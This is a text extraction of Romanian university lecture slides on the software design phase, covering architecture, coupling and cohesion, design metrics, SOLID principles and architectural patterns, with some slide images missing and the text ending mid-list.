SlideShare a Scribd company logo
1 of 107
Download to read offline
Ingineria programării
4. Faza de proiectare
Florin Leon
Universitatea Tehnică „Gheorghe Asachi” din Iași
Facultatea de Automatică și Calculatoare
http://florinleon.byethost24.com/curs_ip.htm
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
4
Simplitate și complexitate
 Sunt două moduri de a proiecta un produs software.
Primul este de a-l face atât de simplu încât este evident
că nu există deficiențe. Al doilea este de a-l face atât de
complicat încât nu există deficiențe evidente. Prima
metodă este mult mai dificilă. (Hoare, 1981)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
5
Proiectarea și programarea
 Lipsa unei proiectări coerente conduce la
scrierea de cod haotic
 Cu cât te apuci mai repede să scrii cod,
cu atât termini mai târziu
 Programarea are și elemente de proiectare
 Programarea este un act creativ, nu mecanic
 Verifică deciziile de proiectare și umple golurile
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
6
Nivelurile proiectării
 Arhitectura sistemului
 Identificarea subsistemelor principale și a modului în
care comunică acestea
 Are un impact major asupra performanțelor și
caracteristicilor sistemului
 Module / componente
 Partiționarea subsistemelor (un modul poate însemna
un namespace, un pachet, o bibliotecă de funcții etc.)
 Interfețele publice (contracte)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
7
Nivelurile proiectării
 Clase și tipuri de date
 Proiectare mai puțin formală, mai ușor de schimbat
 Tot trebuie să existe o fază distinctă de proiectare
 Funcții / metode
 Mai degrabă un exercițiu mental decât o procedură
documentată
 Proiectarea explicită este necesară pentru algoritmi
deosebiți
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
8
Calitatea proiectării
 Presiunea comercială
 Nu este niciodată timp să se
proiecteze corect, dar e întotdeauna
timp să se proiecteze de două ori
 Codul proiectat corect este:
 Mai ușor de scris
 Mai ușor de înțeles
 Mai ușor de corectat
 Cu mai puține defecte
(erorile nu sunt ascunse)
 Mai ușor de extins
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
9
Proiectarea corectă: întrebări
 Pentru orice problemă există mai multe variante de
proiectare
 Va funcționa?
 Deseori apar probleme neprevăzute
 Este completă?
 Abia când se încearcă implementarea soluției se înțelege de fapt
problema
 Este cea mai bună soluție?
 Este suficient de bună?
 Pentru orice problemă se fac compromisuri
 Performanțele se pot observa doar când sistemul este funcțional
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
10
Compromisuri
 Extensibilitate vs. simplitate
 Niveluri suplimentare de generalitate
 Eficiență vs. claritate
 Creșterea cuplării pentru evitarea accesului indirect
 Sistemele optimizate sunt mai puțin clare
 Număr de trăsături vs. efort de dezvoltare
 Mai multe trăsături au nevoie de mai mult efort
 Prioritizarea depinde de cerințele proiectului
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
11
Abordarea recomandată
 Iterativă
 Proiectare incrementală
 Prudentă
 Pași mici, număr limitat de decizii, localizarea erorilor
 Realistă
 Aplicarea metodologiilor dar și utilizarea experienței
 Rezultatul depinde de calitatea specificațiilor, experiența echipei
și rigoarea aplicării procedurilor
 Informată
 Trebuie înțelese complet cerințele și principiile problemei
 Altfel, se poate rezolva altă problemă
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
13
Arhitectura
 Orice sistem are o arhitectură
 Chiar dacă nu este planificată
 Lipsa unei arhitecturi corecte conduce deseori la
eșecul proiectului
 Arhitectura reprezintă proiectarea de nivel înalt
 Prezentare generală, macro, a sistemului
 Detaliile de implementare sunt ascunse
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
14
Componente și conexiuni
 Componentele
 Unitățile logice ale sistemului: clase, procese,
biblioteci, baze de date etc.
 În mod ideal, o componentă îndeplinește un singur
scop (sau activitate)
 Conexiunile
 Apeluri de funcții, evenimente, mesaje ale sistemului
de operare sau din rețea (sincrone sau asincrone)
 Unele comunicații sunt indirecte (de exemplu, prin
resurse partajate: variabile, fișiere)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Rolul arhitecturii
 Identifică modulele cheie și módul în care interacționează acestea
 Nu cum funcționează intern
 Identifică interfețele importante
 Clarifică rolurile și responsabilitățile subsistemelor
 Primul pas în trecerea de la domeniul problemei către domeniul soluției
 De exemplu: la analiză – sistem distribuit; la proiectare – număr de mașini
și cum își vor împărți sarcinile
 Compromis:
 Informații în arhitectură vs. flexibilitate în fazele ulterioare
 Arhitectura influențează:
 Modul de lucru al echipelor (3 straturi ⇒ 3 echipe)
 Evoluția produsului (reflectă capacitatea de adaptare a produsului la noi
cerințe)
15
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
16
Calitatea arhitecturii
 Simplă, ușor de înțeles, reprezentabilă vizual
 Clară, fără ambiguități
 Număr optim de componente
 Prea multe: prea multe detalii
 Prea puține: fiecare componentă face prea mult
(dificil de extins și întreținut)
 Flexibilă, extensibilă, dar nu exagerat de generală
 Consecință: aspect estetic plăcut
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Interfețele
 Modúl: parte separabilă logic a unui program
 Legea lui Conway: structura software-ului poate urma structura echipei
 Interfața unui modul: fațada publică în spatele căreia sunt
ascunse detaliile interne
 Nu se referă doar la conceptul de interfață (interface) din programare
 Tipuri de interfețe: biblioteci, clase, funcții, structuri de date,
interfețe cu sistemul de operare, protocoale de comunicare
în rețea
 API (“Application Programming Interface”) = mulțimea de
operații disponibile
 Proiectarea defectuoasă nu pune operațiile în locul potrivit
18
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea
 Forța interconexiunilor (interdependenței) dintre
module
 Cât trebuie să știm despre un modul pentru a înțelege
alt modul
 În ce măsură modificările unui modul îl afectează pe
celălalt
19
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Niveluri de cuplare
 Cuplare prin conținut
 Cuplare prin structuri comune
 Cuplare prin control
 Cuplare prin marcaj
 Cuplare prin date
20
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin conținut
 Modulele partajează codul: se
poate „sări” dintr-un modul în
codul celuilalt modul
 Limbajele moderne de
programare nu permit acest
lucru
21
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin structuri comune
 Modulele referențiază aceleași structuri de date globale (“common
coupling”) sau aceleași variabile globale (“external coupling”)
22
Structura de date comună
este customer_record
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin control
 Un modul trimite celuilalt modul o variabilă de control
care îi determină fluxul de execuție
23
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin marcaj
 Un modul trimite celuilalt modul o structură de date
ca parametru
24
Structura de date trimisă
este current record
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplare prin date
 Un modul trimite celuilalt modul variabile ca parametri
25
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
 Gradul de cuplare dintre două module depinde
de complexitatea interfațării lor
 Scop: cuplare slabă
 Minimizarea numărului de interfețe ale unui modul
 Minimizarea complexității interfețelor (numărul de
parametri)
 Trimiterea ca parametri numai a câmpurilor necesare
(nu a întregului obiect)
 Evitarea comunicațiilor hibride: date și control
26
Factori ce afectează cuplarea
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
27
Factori ce afectează cuplarea
Coupling
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
28
Cuplarea în sisteme OO
 Cuplarea prin interacțiune
 Dintr-o metodă a unei clase se apelează altă
metodă din altă clasă
 Accesarea secțiunilor interne
 De exemplu, conceptul de friend din C++ violează
principiul încapsulării
 Folosirea câmpurilor pentru a stoca date
temporare și nu starea obiectelor
 Metodele comunică direct prin parametri
 Sunt trimise numai date și numai variabilele necesare
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
29
Cuplarea în sisteme OO
 Cuplarea prin compunere
 O clasă folosește instanțe ale altor clase
 Câmpuri, parametri: cuplare mai slabă
 Variabile locale (invizibile din exterior): cuplare mai
puternică
 Cuplarea cu o clasă A înseamnă cuplarea
potențială cu toate subclasele lui A
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
30
Cuplarea în sisteme OO
 Cuplarea prin moștenire
 Moștenirea poate reduce cuplarea generală din
sistem
 A cuplată cu B, B are subclasele C, D
 Dacă o metodă m este „ridicată” din C și D în B,
A va fi cuplată numai cu B, nu cu C și D
 Pot fi adăugate fără probleme noi subclase ale lui B
 Cuplarea minimă are loc când clasele derivate nu
modifică metodele moștenite, ci doar adaugă noi
câmpuri și metode
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
31
Coeziunea
 Cât de apropiate sunt elementele aceluiași
modul
 Scop: coeziune puternică
 În general, o coeziune puternică este corelată cu
o cuplare slabă
 Coeziunea unui modul este maximul de
coeziune aplicabil tuturor elementelor
acestuia
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Niveluri de coeziune
32
 Coeziune prin coincidență
 Coeziune logică
 Coeziune temporală
 Coeziune procedurală
 Coeziune comunicațională
 Coeziune secvențială
 Coeziune funcțională
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea prin coincidență
 Module create doar pentru a evita
duplicarea codului din mai multe secțiuni
 Module rezultate prin partiționarea
artificială a altor module (de exemplu,
conform criteriului ca un modul să
respecte un număr maxim permis de
instrucțiuni)
 Combinarea mai multor module pentru a
reduce numărul modulelor din program
sau pentru a respecta un număr minim de
instrucțiuni pe modul
33
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea logică
 Un modul conține funcții care
aparțin aceleiași clase logice,
adică toate elementele sale
realizează operații similare
 De exemplu, tratarea tuturor
intrărilor sau ieșirilor
 Este nevoie de o variabilă de
control care să determine ce
instrucțiuni se execută în fiecare
caz (informații hibride, cuplarea
crește)
34
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea temporală
 Coeziunea temporală poate fi
privită ca un tip de coeziune
logică în care timpul este
elementul comun
 Modulele conțin funcții asociate
în timp
 De obicei, sunt module de
inițializare sau finalizare
 Elementele sunt executate în
general toate împreună
35
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea procedurală
 Modulele conțin funcții care aparțin
unei unități procedurale comune
 De exemplu, unele părți dintr-un
modul sunt puse într-un nou
modul: un bloc de decizie mai
mare sau un bloc iterativ sunt
plasate într-o altă metodă
 Un modul poate avea doar părți
dintr-o funcție completă
 Un alt exemplu este funcția main,
care execută celelalte funcții într-o
anumită ordine (conform unei
proceduri)
36
Cuvântul and din numele
funcției ne spune că aceasta
are două scopuri, nu unul
singur, cum ar fi de dorit
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea comunicațională
 Toate elementele unui modul
operează cu aceleași date
 De exemplu: găsește titlul unei
cărți, respectiv autorul, editura,
prețul
 Acest tip de coeziune este
acceptabil, dar are
dezavantajul că asupra
acelorași date se pot efectua
operații neînrudite
37
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea secvențială
 Un modul conține elemente
care depind de prelucrarea
anterioară a altor elemente
 Într-un modul, ieșirea unui
element este intrarea altui
element
38
Se calculează mai întâi total-purchases
și apoi discount
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea funcțională
 Toate elementele unui modul
sunt utilizate pentru efectuarea
unei singure funcții
39
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Comparație
40
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
41
Coeziunea în sisteme OO
 Coeziunea metodelor
 Fiecare metodă implementează o funcție clar definită (coeziune
funcțională)
 Coeziunea claselor
 De ce sunt împreună atributele și operațiile în aceeași clasă
 O clasă reprezintă un concept
 Dacă nu, metodele și câmpurile pot fi partiționate în mai multe clase
 Coeziunea moștenirilor
 Coeziunea este mare dacă ierarhia urmărește generalizarea-
specializarea unui concept
 Coeziunea este mică dacă scopul ierarhiei este doar partajarea
codului
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
43
Metrici de proiectare
 Se aplică doar pentru proiectarea detaliată
 Utile mai ales în faza de implementare
 Metrici:
 Complexitatea ciclomatică
 Metrica de coeziune
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
44
Complexitatea ciclomatică
 Ideea de bază:
 Considerând două programe cu aceeași dimensiune, programul
cu mai multe instrucțiuni de decizie este probabil mai complex
 Complexitatea ciclomatică: M = e – n + 2p
 n = numărul de noduri
 e = numărul de arce
 p = numărul de componente conexe (pentru un modul, este 1)
 Numărul ciclomatic: V(G) = e – n + p
 Dacă se adaugă un arc de la nodul final la nodul inițial,
astfel încât graful să devină tare conex, M = V(G)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
45
Exemplul 1
M = 10 – 7 + 1 = 4
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 2
 M = 7  M = 3
46
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
47
Efecte
 Complexitatea ciclomatică a unui modul este
numărul de decizii + 1
 Recomandare: M < 10
 M este o estimare a numărului de căi care
trebuie testate în faza de testare
 Această metrică este corelată cu dimensiunea
modulului și cu numărul de defecte
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
48
Metrica de coeziune
 Ideea de bază este de a vedea cum sunt folosite
variabilele unui modul de către codul modulului
 Se construiește graful fluxului de control al modulului
 I este nodul inițial
 T este nodul final
 Fiecare nod Si este adnotat cu variabilele pe care le
referențiază
 Se utilizează acest graf pentru a calcula mulțimile de
referințe pentru fiecare variabilă: Ri = mulțimea de noduri
care referențiază variabila i a modulului
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
49
Metrica de coeziune
 Pentru fiecare Ri , se calculează coeziunea:
 unde:
 dim(S) este numărul tuturor căilor independente de la I la T
care includ cel puțin o instrucțiune din mulțimea S
 G este mulțimea tuturor instrucțiunilor din modul care
referențiază cel puțin o variabilă
 Dacă S = G, atunci dim(S) este complexitatea ciclomatică a
modulului
 Altfel, dim(S) este numărul de decizii din mulțimea de instrucțiuni
+ 1 (complexitatea ciclomatică a mulțimii)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
50
Metrica de coeziune
 Coeziunea unui modul cu n variabile este:
 Dacă un modul are o coeziune puternică,
majoritatea variabilelor vor fi utilizate de
instrucțiuni în majoritatea căilor din modulul
respectiv
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
51
Exemplu (același program)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
.NET Reflector
52
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
.NET Reflector
53
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
55
Principii fundamentale
 Principiul deschis-închis
 Principiul substituției
 Principiul inversiunii dependențelor
 Principiul responsabilității unice
 Principiul segregării interfețelor
 SOLID
 S – Single responsibility principle
 O – Open-closed principle
 L – Liskov substitution principle
 I – Interface segregation principle
 D – Dependency inversion principle
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul deschis-închis
 O clasă trebuie să fie deschisă pentru
extindere dar închisă pentru modificări
(Bertrand Meyer, 1998)
56
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
57
Se adaugă
alte forme
geometrice
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
58
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul substituției
 Subclasele trebuie să fie substituibile claselor
lor de bază (Barbara Liskov, 1997)
59
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 1: rața electrică
60
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 2: cercul și elipsa
(cazul 1)
61
Generalizarea este corectă:
cercul este o elipsă cu razele
egale
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 1
62
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 1
63
ec este o elipsă, dar
nu are efect Stretch
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2
64
notație inconsistentă
(de fapt, conceptul de
rază unică nu este
aplicabil unei elipse)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2
65
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2
66
aria cercului ce este incorectă
(valoarea corectă este 12.56)
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
67
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
68
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
69
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 2 (clase imutabile)
70
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 2
71
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul inversiunii dependențelor
 Abstracțiunile nu trebuie să depindă de
detalii. Detaliile trebuie să depindă de
abstracțiuni
 Clasele de nivel înalt nu trebuie să depindă
de clasele de nivel scăzut. Ambele trebuie să
depindă de abstracțiuni
72
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
73
Manager (clasa de nivel
înalt) depinde de Worker
(clasa de nivel scăzut)
Dacă se adaugă un nou tip
de muncitor, SuperWorker,
trebuie modificată clasa
Manager
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
74
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul responsabilității unice
 O clasă trebuie să aibă un singur motiv să se
modifice
 O clasă trebuie să facă un singur lucru
75
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
76
Customer ar trebuie să se ocupe de logica de lucru cu baza de date,
nu de înregistrarea excepțiilor
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
77
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul segregării interfețelor
 Mai multe interfețe specifice pentru clienți
sunt mai bune decât o singură interfață de uz
general
 Un client nu trebuie forțat să depindă de
metode pe care nu le folosește
78
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu
79
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu
80
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
81
Principii suplimentare
 Principiul echivalenței lansare-reutilizare
 Granula pentru reutilizare este granula pentru lansare
 Clasele reutilizabile trebuie grupate
 Principiul închiderii comune
 Clasele care se modifică împreună trebuie grupate împreună
 Clasele trebuie grupate astfel încât coeziunea să fie mare
 Principiul reutilizării comune
 Clasele care nu sunt reutilizate împreună nu trebuie grupate
împreună
 Clasele care se modifică determină o nouă versiune a întregului
pachet
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
82
Euristici de proiectare
 Dimensiunea unui modul este o indicație asupra
complexității acestuia
 Module prea mari (≈ 100 linii) – partiționate
 Module prea mici (≈ 2-3 linii) – combinate
 Doar ținând cont de cuplarea și coeziunea configurației
rezultate
 Fan-in (numărul de module care îl folosesc) și
fan-out (numărul de module folosite)
 Fan-in-ul trebuie maximizat
 Fan-out-ul trebuie să fie < 5-6
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
83
Caracteristicile unei proiectări
de calitate
 Simplitatea
 Cea mai importantă
 Dimensiune redusă a codului
 Codul bine proiectat pare evident, dar e greu de realizat
 Eleganța
 Aspect estetic
 Fluxul de control este clar
 Fiecare componentă adaugă ceva distinct
 Lucrurile asemănătoare sunt asociate
 Schimbările sunt localizate
 Extensibilitatea
 Structură logică și maleabilă
 Interfețe, plug-in-uri dinamice
 Echilibru: ce trebuie acum – ce va trebui în viitor – ce ar putea să
trebuiască în viitor
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
84
Caracteristicile unei proiectări
de calitate
 Modularitatea
 Calitatea descompunerii
 Lipsa duplicărilor
 Copy-paste, apoi schimbările nu se fac în toate cazurile
 Reinventarea roții
 Generalizare: superclase, metode cu parametri
 Portabilitatea
 Nu trebuie compromisă calitatea codului dacă portabilitatea nu este
necesară
 Abstractizarea secțiunilor neportabile (care depind de SO sau hardware)
 Proiectare idiomatică
 C++: supraîncărcarea operatorilor
 C#: proprietăți
 Proiectare bine documentată: specificații ale arhitecturii, API
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
86
Șabloane de proiectare
 Își au originea în ingineria construcțiilor și arhitectură
 Christopher Alexander, arhitect
 Notes on the Synthesis of Form (1964)
 A Pattern Language: Towns, Buildings, Construction (1977)
 Procesul inventării soluțiilor care manifestă o nouă ordine
și organizare ca răspuns la funcționalitate
 Un șablon este suficient de general pentru a fi
aplicat în mai multe situații, dar suficient de concret
pentru a fi util în luarea deciziilor
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
87
Șabloane software
 Soluții generale reutilizabile la probleme care
apar frecvent în proiectare
 Sunt descrieri despre cum se poate rezolva o problemă
 Nu pot fi transformate direct în cod
 Un șablon este o soluție la o problemă într-un
context
 Contextul: situațiile recurente în care se aplică șablonul
 Problema: scopurile și constrângerile
 Soluția: regula de proiectare
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
88
Conținutul unui șablon
 Numele
 Problema: obiectivele
 Contextul: pre-condițiile
 Forțele: constrângerile
care indică un
compromis, de unde și
apare nevoia de șablon
 Soluția: cum se ating
obiectivele
 Contextul rezultant
 Justificarea: cum
funcționează intern și
de ce (soluția – extern)
 Șabloanele înrudite
 Exemple
 Moduri de utilizare
cunoscute
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
89
Tipuri de șabloane
 Șabloane arhitecturale
 Nivelul arhitecturii
 Șabloane de proiectare
 Nivelul modulelor/claselor
 Idiomuri
 Nivelul limbajului de programare
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
90
Arhitectura multi-strat
poate fi la rândul
său multi-strat
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
91
Arhitectura multi-nivel
Multi-strat = descompunere fizică:
dll, exe, mașini separate
Multi-nivel = descompunere logică:
namespace-uri, clase
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura MVC
 Model-Vizualizare-Controlor (engl. “Model-View-Controller”, MVC)
92
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Varianta clasică
 Modelul: conține datele, starea și logica aplicației. Deși nu
cunoaște Controlorul și Vizualizarea, furnizează o interfață
pentru manipularea și preluarea stării și poate trimite notificări cu
privire la schimbarea stării. De obicei primește cereri privind
starea datelor de la Vizualizare și instrucțiuni de modificare a
datelor sau stării de la Controlor
 Vizualizarea: afișează Modelul într-o formă potrivită pentru
utilizator. Pentru un sigur Model pot exista mai multe Vizualizări,
de exemplu o listă de elemente poate fi afișată într-un control
vizual precum ListBox, într-o consolă sau într-o pagină web
 Controlorul: primește intrările de la utilizator și apelează obiectele
Modelului pentru a prelucra noile informații
93
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Variante modernă
 Model-Vizualizare-Prezentator (engl. “Model-View-Presenter”, MVP)
 Stratul de prezentare constă în obiecte de Vizualizare iar logica aplicației
constă în obiecte de control (Prezentator/Controlor)
 Pentru fiecare obiect de vizualizare există un obiect de control
94
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
95
Arhitectura bazată pe componente
 Asamblarea de aplicații din componente
prefabricate
 Interfețele trebuie bine definite
 Interface Definition Language, IDL
 .NET: determinarea interfețelor din implementare
 Asigură cuplarea slabă între componente
 Diferite tipuri de comunicare între componente
 COM, CORBA, JavaBeans
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura orientată pe servicii
 Funcționalitățile sunt separate în
unități distincte, numite servicii,
accesibile într-o rețea
 Pot fi combinate și reutilizate
 Scopul este tot cuplarea slabă
 Interfațarea este deosebit de
importantă
 Furnizorii de servicii se pot
înregistra la un broker, iar
consumatorii caută serviciile dorite
 Mai mulți furnizori pot oferi același
serviciu: calitate, reputație
 Servicii web: REST, SOAP
96
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
97
Pipeline
 Un lanț de elemente de prelucrare în care ieșirea unuia
corespunde cu intrarea următorului
 De exemplu: dir | sort | more
 Transformările sunt de obicei incrementale
 Formatul de date este de obicei foarte simplu, deseori
text
 Tratarea erorilor este mai dificilă
 Utilizări:
 Browsere
 Aplicații de grafică
 Interfețe grafice pentru programe consolă portabile
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Pipeline
 Programare funcțională, F#
 |> trimite rezultatul unei funcții următoarei funcții
enumFilesRec
(filterOutPaths ["c:Windows";"c:ProgramData";"c:Program Files"])
(filterExt [".jpg"; ".gif"])
"c:Multimedia"
|> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length))
|> Seq.filter (fun (_, s) -> (Seq.length s) > 1)
|> Seq.map (fun (_, sq) -> [for path in sq -> path])
|> Seq.map groupEqualFiles
|> Seq.map filterOutSingletons
|> Seq.collect Seq.ofList
|> Seq.iter (fun lst -> printfn "%A" lst)
http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/ 98
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
99
Platforma
 engl. “framework”
 Pentru o bibliotecă tradițională, programul
apelează funcțiile din bibliotecă
 Într-o platformă, apelul codului client este făcut
de către platformă
 De exemplu, platforma multi-agent JADE
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Blackboard (tablă)
100
 Propusă inițial pentru rezolvarea unor probleme
complexe, insuficient definite
 În general, folosită pentru unele aplicații legate de
inteligența artificială, de exemplu:
 Sisteme militare de detectare și urmărire a obiectelor (C4ISTAR)
 Vizualizare interactivă a datelor de la sateliți (RADARSAT-1)
 Recunoașterea optică a caracterelor (Adobe Acrobat Capture)
 Interpretarea datelor de la senzori, “data fusion”
 Roboți mobili, planificare, învățare simbolică
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Blackboard (tablă)
 Presupune existența mai multor „surse de
cunoaștere” specializate pe domenii
diverse
 Mai întâi, pe tablă „se scriu” specificațiile
problemei
 Fiecare sursă de cunoaștere (specialist)
caută ocazia de a contribui la rezolvarea
problemei
 Când cineva scrie pe tablă ceva care
permite unui specialist să contribuie,
acesta scrie la rândul său soluția la
subproblema pe care o poate rezolva
 Procesul de adăugare a contribuțiilor pe
tablă continuă până când problema este
rezolvată
101
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
102
Șabloane de proiectare
 Erich Gamma, Richard Helm, Ralph Johnson,
John Vlissides (“Gang of Four”, GoF)
 Elements of Reusable Object-Oriented Software (1994)
 Trei clase:
